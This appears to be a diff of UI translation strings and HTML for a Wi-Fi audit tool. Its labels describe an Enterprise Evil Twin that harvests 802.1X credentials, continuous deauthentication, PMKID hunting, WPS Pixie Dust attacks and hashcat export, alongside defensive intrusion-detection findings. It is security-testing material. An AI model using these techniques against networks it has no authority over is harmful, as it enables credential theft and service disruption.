'handshake does not have enough data to verify a password',
|
||||||
|
'hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin':
|
||||||
|
'hostapd is not installed (sudo apt install hostapd) — needed for Evil Twin',
|
||||||
|
'{n} · {n} credencial(is) capturada(s){n}': '{n} · {n} credential(s) captured{n}',
|
||||||
|
'Clona o AP numa segunda interface e deixa o hostapd-wpe aceitar a autenticação EAP de qualquer cliente. A credencial sai sozinha, como parte do próprio 802.1X — sem portal, sem ação humana.':
|
||||||
|
'Clones the AP on a second interface and lets hostapd-wpe accept the EAP authentication from any client. The credential comes out on its own, as part of 802.1X itself — no portal, no human action.',
|
||||||
|
'Rede Enterprise detectada (AKM 802.1X) — aqui a credencial é enviada automaticamente pelo cliente durante o handshake EAP, não precisa de portal. Exige':
|
||||||
|
'Enterprise network detected (AKM 802.1X) — here the credential is sent automatically by the client during the EAP handshake, no portal needed. Requires',
|
||||||
|
'instalado (não vem com o Sabiá: é um patch no build do hostapd —':
|
||||||
|
'installed (not bundled with Sabiá: it is a patch on the hostapd build —',
|
||||||
|
') e uma': ') and a',
|
||||||
|
'interface Wi-Fi em modo AP.': 'Wi-Fi interface in AP mode.',
|
||||||
|
'Iniciar Evil Twin Enterprise': 'Start Enterprise Evil Twin',
|
||||||
|
'Limitação honesta: o certificado TLS do clone é autoassinado. Dispositivo que valida a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) vai recusar ou avisar o usuário — essa é a defesa que deveria existir. Funciona contra configuração sem essa validação.':
|
||||||
|
'Honest limitation: the clone\'s TLS certificate is self-signed. A device that validates the network\'s certificate chain (common on an updated corporate/MDM profile) will refuse or warn the user — that is the defense that is supposed to exist. It works against configurations without that validation.',
|
||||||
|
'essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo':
|
||||||
|
'this network is not WPA2/WPA3-Enterprise (802.1X) — for a single-password (PSK) network, use the Evil Twin with captive portal',
|
||||||
|
'hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe':
|
||||||
|
'hostapd-wpe is not installed — not bundled with Sabiá (it is a patch on the hostapd build, not a small binary); install it from the Kali repository or build https://github.com/aircrack-ng/hostapd-wpe',
|
||||||
|
'{n} está num modo que o hostapd-wpe não consegue usar':
|
||||||
|
'{n} is in a mode hostapd-wpe cannot use',
|
||||||
|
'não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe':
|
||||||
|
'could not generate the TLS certificate (openssl) for hostapd-wpe',
|
||||||
|
'hostapd-wpe saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
|
||||||
|
'hostapd-wpe exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
|
||||||
|
'job de Evil Twin Enterprise não encontrado': 'Enterprise Evil Twin job not found',
|
||||||
|
'job de Evil Twin não encontrado': 'Evil Twin job not found',
|
||||||
|
'hostapd saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
|
||||||
|
'hostapd exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
|
||||||
|
'{n} está num modo que o hostapd não consegue usar': '{n} is in a mode hostapd cannot use',
|
||||||
|
'{n} handshake(s), {n} quadro(s) em {n}': '{n} handshake(s), {n} frame(s) in {n}',
|
||||||
|
'Motivo': 'Reason',
|
||||||
|
'Pacotes': 'Packets',
|
||||||
|
'Estado': 'State',
|
||||||
|
'Probes': 'Probes',
|
||||||
|
'Cliente': 'Client',
|
||||||
|
'WPS ativo': 'WPS active',
|
||||||
|
'WPS ativo.': 'WPS active.',
|
||||||
|
'WPS ativo ({n}).': 'WPS active ({n}).',
|
||||||
|
'PMF exigido.': 'PMF required.',
|
||||||
|
'Depois de coletar IVs suficientes:': 'After collecting enough IVs:',
|
||||||
|
'mensagens {n}': 'messages {n}',
|
||||||
|
'{n} · mensagens {n}': '{n} · messages {n}',
|
||||||
|
'senha: {n}': 'password: {n}',
|
||||||
|
'{n} · quebrável': '{n} · crackable',
|
||||||
|
'{n} · canal {n}': '{n} · channel {n}',
|
||||||
|
'{n} ({n})': '{n} ({n})',
|
||||||
|
|
||||||
|
// canais, PMKID/PMF, WPS e relatório
|
||||||
|
'Ocupação dos canais em {n}': 'Channel occupancy on {n}',
|
||||||
|
'Sem dados de canal ainda': 'No channel data yet',
|
||||||
|
'Inicie a captura para o Sabiá medir ocupação e sugerir canais.':
|
||||||
|
'Start capturing so Sabiá can measure occupancy and suggest channels.',
|
||||||
|
'{n} APs · {n} canais ocupados': '{n} APs · {n} busy channels',
|
||||||
|
'{n} AP(s) · recomendado': '{n} AP(s) · recommended',
|
||||||
|
'· recomendado': '· recommended',
|
||||||
|
'aberta/WEP': 'open/WEP',
|
||||||
|
'{n} rede(s) WPA3 analisada(s) — detalhes na aba do alvo e no relatório.':
|
||||||
|
'{n} WPA3 network(s) analyzed — details in the target tab and report.',
|
||||||
|
'Restrito a 1, 6 e 11 para evitar sobreposição.':
|
||||||
|
'Limited to 1, 6 and 11 to avoid overlap.',
|
||||||
|
'Menor pontuação de interferência entre os canais observados.':
|
||||||
|
'Lowest interference score among observed channels.',
|
||||||
|
'Melhor canal': 'Best channel',
|
||||||
|
'Espectro e canais': 'Spectrum and channels',
|
||||||
|
|
||||||
|
// saúde do espectro (canais, estilo SMART)
|
||||||
|
'Boa': 'Good',
|
||||||
|
'Atenção': 'Attention',
|
||||||
|
'Saturado': 'Saturated',
|
||||||
|
'Boa condição': 'Good condition',
|
||||||
|
'Sem canal livre nessa banda': 'No free channel on this band',
|
||||||
|
'Até o melhor canal está saturado': 'Even the best channel is saturated',
|
||||||
|
'Recomendado é DFS — pode cair com radar por perto': 'The recommended channel is DFS — it can drop off if radar is detected nearby',
|
||||||
|
'Espectro congestionado': 'Congested spectrum',
|
||||||
|
'Canal recomendado': 'Recommended channel',
|
||||||
|
'Canais ocupados': 'Busy channels',
|
||||||
|
'APs na banda': 'APs on this band',
|
||||||
|
'Pior canal': 'Worst channel',
|
||||||
|
'Canais DFS': 'DFS channels',
|
||||||
|
'Nessa banda, prefira sempre 1, 6 ou 11 — canais no meio sobrepõem vizinhos.':
|
||||||
|
'On this band, always prefer 1, 6 or 11 — channels in between overlap neighbors.',
|
||||||
|
'Canais DFS liberam mais espaço, mas o rádio é obrigado a sair do ar se detectar radar — tenha um canal não-DFS de reserva.':
|
||||||
|
'DFS channels free up more room, but the radio must go off the air if it detects radar — keep a non-DFS channel as backup.',
|
||||||
|
'Considere mudar o AP para o canal recomendado ou mover pra outra banda.':
|
||||||
|
'Consider moving the AP to the recommended channel or to another band.',
|
||||||
|
'Canais detalhados ({n})': 'Detailed channels ({n})',
|
||||||
|
'Pontuação': 'Score',
|
||||||
|
'APs': 'APs',
|
||||||
|
'{n} AP(s)': '{n} AP(s)',
|
||||||
|
'Recomendado': 'Recommended',
|
||||||
|
'Ainda sem eventos além do primeiro avistamento.':
|
||||||
|
'No events beyond the first sighting yet.',
|
||||||
|
'{n} amostra(s) de sinal. Eventos mais recentes primeiro.':
|
||||||
|
'{n} signal sample(s). Most recent events first.',
|
||||||
|
'nenhuma ferramenta instalada': 'no tool installed',
|
||||||
|
'Senha encontrada: {n}{n}': 'Password found: {n}{n}',
|
||||||
|
'Sem PIN, o reaver usa Pixie Dust; o bully usa o ataque padrão.':
|
||||||
|
'Without a PIN, reaver uses Pixie Dust; bully uses its default attack.',
|
||||||
|
'Instale reaver ou bully para habilitar. Ex.: sudo apt install reaver bully':
|
||||||
|
'Install reaver or bully to enable. E.g.: sudo apt install reaver bully',
|
||||||
|
'A saída do reaver/bully aparece aqui.': 'reaver/bully output appears here.',
|
||||||
|
'Orquestra reaver/bully na interface monitor. O canal do AP é usado automaticamente; o processo pode ser interrompido a qualquer momento.':
|
||||||
|
'Orchestrates reaver/bully on the monitor interface. The AP channel is used automatically; the process can be stopped at any time.',
|
||||||
|
'Ferramenta': 'Tool',
|
||||||
|
'PIN conhecido (opcional)': 'Known PIN (optional)',
|
||||||
|
'Exportar .hc22000': 'Export .hc22000',
|
||||||
|
'Todos .hc22000': 'Export all .hc22000',
|
||||||
|
'Iniciar WPS': 'Start WPS',
|
||||||
|
'Parar job': 'Stop job',
|
||||||
|
'8 dígitos': '8 digits',
|
||||||
|
'nenhum cliente visto': 'no client seen',
|
||||||
|
'Direção': 'Direction',
|
||||||
|
'AP → cliente': 'AP → client',
|
||||||
|
'cliente → AP': 'client → AP',
|
||||||
|
'Dispara deauth nas duas direções e observa se a estação reassocia. Resultado prático, não prova criptográfica.':
|
||||||
|
'Sends deauth in both directions and watches whether the station reassociates. Practical result, not cryptographic proof.',
|
||||||
|
'Estação': 'Station',
|
||||||
|
'Forja um MAC local e envia association request com PMKID para tentar a mensagem 1. Muitos APs só expõem PMKID em roaming real.':
|
||||||
|
'Forge a local MAC and send an association request with PMKID to try for message 1. Many APs only expose PMKID during real roaming.',
|
||||||
|
'Caçar PMKID': 'Hunt PMKID',
|
||||||
|
'Do cliente para o AP (exige estação selecionada).':
|
||||||
|
'From client to AP (requires a selected station).',
|
||||||
|
'Nas duas direções (exige estação selecionada).':
|
||||||
|
'In both directions (requires a selected station).',
|
||||||
|
'{n} quadro(s) {n} em {n} para {n} (motivo {n}).':
|
||||||
|
'{n} {n} frame(s) in {n} to {n} (reason {n}).',
|
||||||
|
'Aguardando saída do reaver/bully…': 'Waiting for reaver/bully output…',
|
||||||
|
'Enviando associação com PMKID…': 'Sending association with PMKID…',
|
||||||
|
'{n} quadro(s) enviados; PMKID não apareceu. {n}':
|
||||||
|
'{n} frame(s) sent; PMKID did not appear. {n}',
|
||||||
|
'Nenhuma estação disponível.': 'No station available.',
|
||||||
|
'Testando por ~4 s…': 'Testing for ~4 s…',
|
||||||
|
'PMKID capturado: {n}': 'PMKID captured: {n}',
|
||||||
|
'PMF não obrigatório': 'PMF not required',
|
||||||
|
'PMF não obrigatório · {n}': 'PMF not required · {n}',
|
||||||
|
'Inconclusivo · {n}': 'Inconclusive · {n}',
|
||||||
|
'Instale reaver ou bully.': 'Install reaver or bully.',
|
||||||
|
'Canal do AP desconhecido.': 'Unknown AP channel.',
|
||||||
|
'Montando o relatório…': 'Building the report…',
|
||||||
|
'não foi possível gerar o relatório': 'could not generate the report',
|
||||||
|
'Pré-visualização A4 · {n} página(s).': 'A4 preview · {n} page(s).',
|
||||||
|
'Pré-visualização A4.': 'A4 preview.',
|
||||||
|
'Paginando o relatório…': 'Paginating the report…',
|
||||||
|
'Não foi possível abrir a impressão; baixe o HTML e abra no navegador.':
|
||||||
|
'Could not open printing; download the HTML and open it in the browser.',
|
||||||
|
'não foi possível gerar o HTML': 'could not generate the HTML',
|
||||||
|
'Relatório': 'Report',
|
||||||
|
'Relatório de auditoria': 'Audit report',
|
||||||
|
'Imprimir / PDF': 'Print / PDF',
|
||||||
|
'Baixar HTML': 'Download HTML',
|
||||||
|
'Pré-visualização paginada em A4.': 'Paginated A4 preview.',
|
||||||
|
'Visualização': 'View',
|
||||||
|
'Relatório paginado': 'Paginated report',
|
||||||
|
'handshake sem SSID, PMKID ou mensagem 2 para exportar':
|
||||||
|
'handshake without SSID, PMKID or message 2 to export',
|
||||||
|
'nenhum handshake com material para .hc22000':
|
||||||
|
'no handshake with material for .hc22000',
|
||||||
|
'direção inválida: use ap, sta ou both': 'invalid direction: use ap, sta or both',
|
||||||
|
'máscara grande demais pra calcular o total': 'mask too large to calculate the total',
|
||||||
|
'máscara tem {n} combinações, acima do limite de {n} — restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar':
|
||||||
|
'mask has {n} combinations, above the limit of {n} — narrow the mask (e.g. fewer ?a/?l positions) before running',
|
||||||
|
'quadro inválido: use deauth ou disassoc': 'invalid frame: use deauth or disassoc',
|
||||||
|
'direção sta/both exige a estação alvo': 'sta/both direction requires the target station',
|
||||||
|
'inicie a captura nesta interface antes do teste PMKID':
|
||||||
|
'start capturing on this interface before the PMKID test',
|
||||||
|
'BSSID ainda não visto nesta captura': 'BSSID not seen in this capture yet',
|
||||||
|
'SSID oculto: impossível montar o association request':
|
||||||
|
'hidden SSID: cannot build the association request',
|
||||||
|
'PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.':
|
||||||
|
'PMKID observed; export to .hc22000 and crack with hashcat or Sabiá.',
|
||||||
|
'Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.':
|
||||||
|
'No PMKID appeared. The AP may not cache PMKID or may only answer real roaming; also try deauthenticating an associated client.',
|
||||||
|
'PIN WPS deve ter 8 dígitos': 'WPS PIN must have 8 digits',
|
||||||
|
'a ferramenta terminou sem informar PSK': 'the tool finished without reporting a PSK',
|
||||||
|
'job WPS não encontrado': 'WPS job not found',
|
||||||
|
'Auditoria Wi-Fi · {n}': 'Wi-Fi audit · {n}',
|
||||||
|
'{n} está em modo managed; ative o modo monitor antes do teste PMKID':
|
||||||
|
'{n} is in managed mode; enable monitor mode before the PMKID test',
|
||||||
|
'{n} não encontrado no PATH; instale reaver ou bully':
|
||||||
|
'{n} not found in PATH; install reaver or bully',
|
||||||
|
'{n} está em modo managed; ative o modo monitor antes do ataque WPS':
|
||||||
|
'{n} is in managed mode; enable monitor mode before the WPS attack',
|
||||||
|
'não foi possível executar {n}: {n}': 'could not run {n}: {n}',
|
||||||
|
'{n} terminou com código {n}': '{n} exited with code {n}',
|
||||||
|
|
||||||
|
// achados do WIDS (analysis.rs)
|
||||||
|
'SSID “{n}” com seguranças diferentes': 'SSID “{n}” with different security levels',
|
||||||
|
'O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {n}. Pode ser um evil twin ou um AP mal configurado.':
|
||||||
|
'The same name appears on BSSIDs with different security levels: {n}. It may be an evil twin or a misconfigured AP.',
|
||||||
|
'Rajada de desautenticação': 'Deauthentication burst',
|
||||||
|
'{n} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável.':
|
||||||
|
'{n} deauthentication/disassociation frames in the last minute. It may be a deauth attack or an unstable AP.',
|
||||||
|
'Muitos BSSIDs novos': 'Many new BSSIDs',
|
||||||
|
'{n} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso.':
|
||||||
|
'{n} BSSIDs appeared in the last minute — possible beacon flood or a very dense environment.',
|
||||||
|
'Rede aberta: {n}': 'Open network: {n}',
|
||||||
|
'Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.':
|
||||||
|
'No Wi-Fi encryption; traffic is exposed to any station in range.',
|
||||||
|
'WEP em {n}': 'WEP on {n}',
|
||||||
|
'WEP é quebrável em minutos; trate a rede como aberta.':
|
||||||
|
'WEP can be cracked in minutes; treat the network as open.',
|
||||||
|
'WPA1 (TKIP) em {n}': 'WPA1 (TKIP) on {n}',
|
||||||
|
'WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.':
|
||||||
|
'WPA1/TKIP has known weaknesses; migrate to WPA2/CCMP or WPA3.',
|
||||||
|
'WPS ativo em {n}': 'WPS active on {n}',
|
||||||
|
'O AP anuncia WPS com configuração travada.': 'The AP advertises WPS with configuration locked.',
|
||||||
|
'WPS sem lock explícito; PIN pode ser testado com reaver/bully.':
|
||||||
|
'WPS without an explicit lock; the PIN can be tested with reaver/bully.',
|
||||||
|
'Sem PMF em {n}': 'No PMF on {n}',
|
||||||
|
'Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.':
|
||||||
|
'Deauthentication and disassociation are unprotected; clients can be expelled to make handshake capture easier.',
|
||||||
|
'PMF inconsistente em {n}': 'Inconsistent PMF on {n}',
|
||||||
|
'O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.':
|
||||||
|
'The AP advertises WPA3 but not PMF; check the configuration.',
|
||||||
|
'WPA3 com WPS em {n}': 'WPA3 with WPS on {n}',
|
||||||
|
'WPS não faz parte do WPA3 e abre uma via mais fraca de associação.':
|
||||||
|
'WPS is not part of WPA3 and opens a weaker association path.',
|
||||||
|
'primeiro visto': 'first seen',
|
||||||
|
'associou': 'associated',
|
||||||
|
'desautenticado': 'deauthenticated',
|
||||||
|
|
||||||
|
'A estação voltou a se associar.': 'The station reassociated.',
|
||||||
|
'O AP pode não usar cache de PMKID.': 'The AP may not cache PMKID.',
|
||||||
|
|
||||||
|
'A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).':
|
||||||
|
'The station reassociated after deauthentication: PMF is not required (or the client does not use it).',
|
||||||
|
'A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.':
|
||||||
|
'The station kept exchanging frames after deauthentication; the management frame was probably accepted.',
|
||||||
|
'A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.':
|
||||||
|
'The station did not reassociate in the observed window. PMF may be active, or the client simply stayed idle.',
|
||||||
|
'Inconclusivo': 'Inconclusive',
|
||||||
|
|
||||||
|
// deauth contínuo e identificação de clientes
|
||||||
|
'Mantém os quadros saindo em série até você parar (ou até sair o handshake). O canal da captura fica travado no AP durante o job.':
|
||||||
|
'Keeps frames going until you stop (or a handshake appears). The capture channel stays locked to the AP during the job.',
|
||||||
|
'Iniciar contínuo': 'Start continuous',
|
||||||
|
'Parar': 'Stop',
|
||||||
|
'Rajada ({n})': 'Burst ({n})',
|
||||||
|
'Pronto. O job contínuo trava a captura no canal do AP e para quando você mandar.':
|
||||||
|
'Ready. The continuous job locks capture to the AP channel and stops when you say so.',
|
||||||
|
'Job {n} · {n} quadro(s){n}{n}': 'Job {n} · {n} frame(s){n}{n}',
|
||||||
|
'Handshake capturado em {n} quadro(s){n}.': 'Handshake captured in {n} frame(s){n}.',
|
||||||
|
'Job {n} {n} · {n} quadro(s){n}.': 'Job {n} {n} · {n} frame(s){n}.',
|
||||||
|
'Escolha um cliente para desautenticar nas direções sta/both.':
|
||||||
|
'Choose a client to deauthenticate in the sta/both directions.',
|
||||||
|
'Forçando reassociação e handshake…': 'Forcing reassociation and handshake…',
|
||||||
|
'Desautenticação contínua iniciada.': 'Continuous deauthentication started.',
|
||||||
|
'Nenhuma ferramenta WPS disponível.': 'No WPS tool available.',
|
||||||
|
'O reaver embutido usa Pixie Dust sem PIN. O bully aparece se estiver instalado no sistema.':
|
||||||
|
'The bundled reaver uses Pixie Dust without a PIN. bully appears if it is installed on the system.',
|
||||||
|
'O reaver embutido não pôde ser extraído nesta execução.':
|
||||||
|
'The bundled reaver could not be extracted in this run.',
|
||||||
|
'Dicionário (vazio = embutido, 9,7 milhões de senhas)': 'Wordlist (empty = bundled, 9.7 million passwords)',
|
||||||
|
'dicionário próprio, opcional': 'custom wordlist, optional',
|
||||||
|
'Dispositivo': 'Device',
|
||||||
|
'MAC aleatório': 'Random MAC',
|
||||||
|
'Cliente {n}': 'Client {n}',
|
||||||
|
'Linha do tempo · {n}': 'Timeline · {n}',
|
||||||
|
'nenhuma ferramenta disponível': 'no tool available',
|
||||||
|
'· canal {n}': '· channel {n}',
|
||||||
|
'· para sozinho no handshake': '· stops on handshake',
|
||||||
|
'job de deauth não encontrado': 'deauth job not found',
|
||||||
|
'já existe um job de desautenticação em execução em {n}':
|
||||||
|
'a deauthentication job is already running on {n}',
|
||||||
|
'inicie a captura em {n} antes de iniciar o job':
|
||||||
|
'start capture on {n} before starting the job',
|
||||||
|
'a captura em {n} não está ativa': 'capture on {n} is not active',
|
||||||
|
'{n} não está disponível; o reaver integrado não pôde ser extraído':
|
||||||
|
'{n} is not available; the bundled reaver could not be extracted',
|
||||||
};
|
};
|
||||||
+101
-12
@@ -18,17 +18,39 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="side-title">Interfaces</div>
|
<div class="side-title">Interface</div>
|
||||||
<ul class="list" id="ifaceList" data-empty="nenhuma interface Wi-Fi encontrada"></ul>
|
<div class="iface-pick">
|
||||||
|
<select id="ifaceSelect" class="select" aria-label="Interface Wi-Fi" data-empty="nenhuma interface Wi-Fi encontrada"></select>
|
||||||
|
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="side-title">Visualização</div>
|
||||||
|
<ul class="list" id="viewNav" role="group" aria-label="Visualização">
|
||||||
|
<li><button type="button" class="dev" data-view="nets" aria-pressed="true">
|
||||||
|
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12.55a11 11 0 0 1 14.08 0"/><path d="M1.42 9a16 16 0 0 1 21.16 0"/><path d="M8.53 16.11a6 6 0 0 1 6.95 0"/><circle cx="12" cy="20" r="1"/></svg></span>
|
||||||
|
<span><span class="t">Redes</span><span class="s">APs, clientes e ataques</span></span>
|
||||||
|
</button></li>
|
||||||
|
<li><button type="button" class="dev" data-view="channels" aria-pressed="false">
|
||||||
|
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="19" x2="5" y2="10"/><line x1="12" y1="19" x2="12" y2="5"/><line x1="19" y1="19" x2="19" y2="13"/></svg></span>
|
||||||
|
<span><span class="t">Canais</span><span class="s">espectro e saúde</span></span>
|
||||||
|
</button></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
<div class="side-foot">
|
<div class="side-foot">
|
||||||
<span id="verInfo" class="mono">—</span>
|
<div class="foot-row">
|
||||||
<select id="langSel" class="lang-sel" aria-label="Idioma" title="Idioma">
|
<button id="settingsBtn" class="icon-btn" type="button" title="Configurações" aria-label="Configurações">
|
||||||
<option value="auto">Auto</option>
|
<svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.7 1.7 0 0 0 .3 1.8l.1.1a2 2 0 1 1-2.8 2.8l-.1-.1a1.7 1.7 0 0 0-1.8-.3 1.7 1.7 0 0 0-1 1.5V21a2 2 0 1 1-4 0v-.1a1.7 1.7 0 0 0-1.1-1.5 1.7 1.7 0 0 0-1.8.3l-.1.1a2 2 0 1 1-2.8-2.8l.1-.1a1.7 1.7 0 0 0 .3-1.8 1.7 1.7 0 0 0-1.5-1H3a2 2 0 1 1 0-4h.1a1.7 1.7 0 0 0 1.5-1.1 1.7 1.7 0 0 0-.3-1.8l-.1-.1a2 2 0 1 1 2.8-2.8l.1.1a1.7 1.7 0 0 0 1.8.3H9a1.7 1.7 0 0 0 1-1.5V3a2 2 0 1 1 4 0v.1a1.7 1.7 0 0 0 1 1.5 1.7 1.7 0 0 0 1.8-.3l.1-.1a2 2 0 1 1 2.8 2.8l-.1.1a1.7 1.7 0 0 0-.3 1.8V9a1.7 1.7 0 0 0 1.5 1H21a2 2 0 1 1 0 4h-.1a1.7 1.7 0 0 0-1.5 1z"/></svg>
|
||||||
<option value="pt">Português</option>
|
</button>
|
||||||
<option value="en">English</option>
|
<div class="theme-switch" role="group" aria-label="Tema">
|
||||||
</select>
|
<button type="button" data-theme-pick="auto" aria-pressed="true">Auto</button>
|
||||||
<button id="btnUpdate" type="button">checar atualização</button>
|
<button type="button" data-theme-pick="light" aria-pressed="false">Claro</button>
|
||||||
|
<button type="button" data-theme-pick="dark" aria-pressed="false">Escuro</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="foot-row">
|
||||||
|
<span id="verInfo" class="mono">—</span>
|
||||||
|
<button id="btnUpdate" type="button">checar atualização</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</aside>
|
</aside>
|
||||||
|
|
||||||
@@ -39,7 +61,9 @@
|
|||||||
<h1>Painel de captura</h1>
|
<h1>Painel de captura</h1>
|
||||||
<div class="sub" id="ifaceSub">selecione uma interface</div>
|
<div class="sub" id="ifaceSub">selecione uma interface</div>
|
||||||
</div>
|
</div>
|
||||||
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
|
<div class="top-actions">
|
||||||
|
<button id="btnReport" class="btn" type="button" disabled>Relatório</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<svg class="wave" id="wave" viewBox="0 0 600 34" preserveAspectRatio="none">
|
<svg class="wave" id="wave" viewBox="0 0 600 34" preserveAspectRatio="none">
|
||||||
@@ -68,14 +92,79 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="result-head">
|
<div class="result-head">
|
||||||
<strong>Redes vistas</strong>
|
<div class="result-summary">
|
||||||
<span id="count">0</span>
|
<strong id="resultTitle">Redes vistas</strong>
|
||||||
|
<span id="count">0</span>
|
||||||
|
</div>
|
||||||
|
<div class="result-tools">
|
||||||
|
<input id="searchInput" class="filter" type="search" placeholder="filtrar por SSID ou BSSID" aria-label="Filtrar redes" autocomplete="off" spellcheck="false">
|
||||||
|
<select id="sortSel" class="select compact" aria-label="Ordenar por">
|
||||||
|
<option value="signal">Sinal</option>
|
||||||
|
<option value="security">Segurança</option>
|
||||||
|
<option value="clients">Clientes</option>
|
||||||
|
<option value="name">Nome</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div id="resultArea"></div>
|
<div id="resultArea"></div>
|
||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<dialog id="targetDlg" class="target-dlg" aria-labelledby="targetTitle">
|
||||||
|
<div class="target-head">
|
||||||
|
<div class="target-id">
|
||||||
|
<h2 id="targetTitle">—</h2>
|
||||||
|
<div class="target-sub" id="targetSub"></div>
|
||||||
|
</div>
|
||||||
|
<button id="targetClose" class="icon-btn" type="button" aria-label="Fechar" title="Fechar">
|
||||||
|
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="tabs" role="tablist" aria-label="Detalhes do alvo">
|
||||||
|
<button type="button" role="tab" data-tab="overview" aria-selected="true">Visão geral</button>
|
||||||
|
<button type="button" role="tab" data-tab="clients" aria-selected="false">Clientes <span class="tab-count" id="tabClientsCount">0</span></button>
|
||||||
|
<button type="button" role="tab" data-tab="attacks" aria-selected="false">Ataques</button>
|
||||||
|
</div>
|
||||||
|
<div class="tab-panel" id="tabPanel"></div>
|
||||||
|
</dialog>
|
||||||
|
|
||||||
|
<dialog id="reportDlg" class="report-dlg" aria-labelledby="reportTitle">
|
||||||
|
<div class="report-head">
|
||||||
|
<div>
|
||||||
|
<h2 id="reportTitle">Relatório de auditoria</h2>
|
||||||
|
<p class="hint" id="reportStatus">Pré-visualização paginada em A4.</p>
|
||||||
|
</div>
|
||||||
|
<div class="report-tools">
|
||||||
|
<button type="button" class="icon-btn" id="reportZoomOut" title="Diminuir zoom" aria-label="Diminuir zoom">−</button>
|
||||||
|
<span class="mono" id="reportZoomLabel">100%</span>
|
||||||
|
<button type="button" class="icon-btn" id="reportZoomIn" title="Aumentar zoom" aria-label="Aumentar zoom">+</button>
|
||||||
|
<button type="button" class="btn" id="reportPrint">Imprimir / PDF</button>
|
||||||
|
<button type="button" class="btn" id="reportDownload">Baixar HTML</button>
|
||||||
|
<button type="button" class="icon-btn" id="reportClose" title="Fechar" aria-label="Fechar">
|
||||||
|
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="report-view" id="reportView"><div class="report-canvas" id="reportCanvas"><iframe id="reportFrame" title="Relatório paginado"></iframe></div></div>
|
||||||
|
</dialog>
|
||||||
|
|
||||||
|
<dialog id="settingsDlg" aria-labelledby="settingsTitle">
|
||||||
|
<form method="dialog">
|
||||||
|
<h2 id="settingsTitle">Configurações</h2>
|
||||||
|
<div class="field">
|
||||||
|
<span class="field-label">Idioma</span>
|
||||||
|
<select id="langSel" class="select" name="lang" aria-label="Idioma">
|
||||||
|
<option value="auto">Auto</option>
|
||||||
|
<option value="pt">Português</option>
|
||||||
|
<option value="en">English</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<menu><button class="btn primary" value="close">Fechar</button></menu>
|
||||||
|
</form>
|
||||||
|
</dialog>
|
||||||
|
|
||||||
<script type="module" src="/app.js"></script>
|
<script type="module" src="/app.js"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
Vendored
+4
@@ -0,0 +1,4 @@
|
|||||||
|
/**
|
||||||
|
* @license Paged.js v0.4.3 | MIT | https://gitlab.coko.foundation/pagedjs/pagedjs
|
||||||
|
*/
|
||||||
|
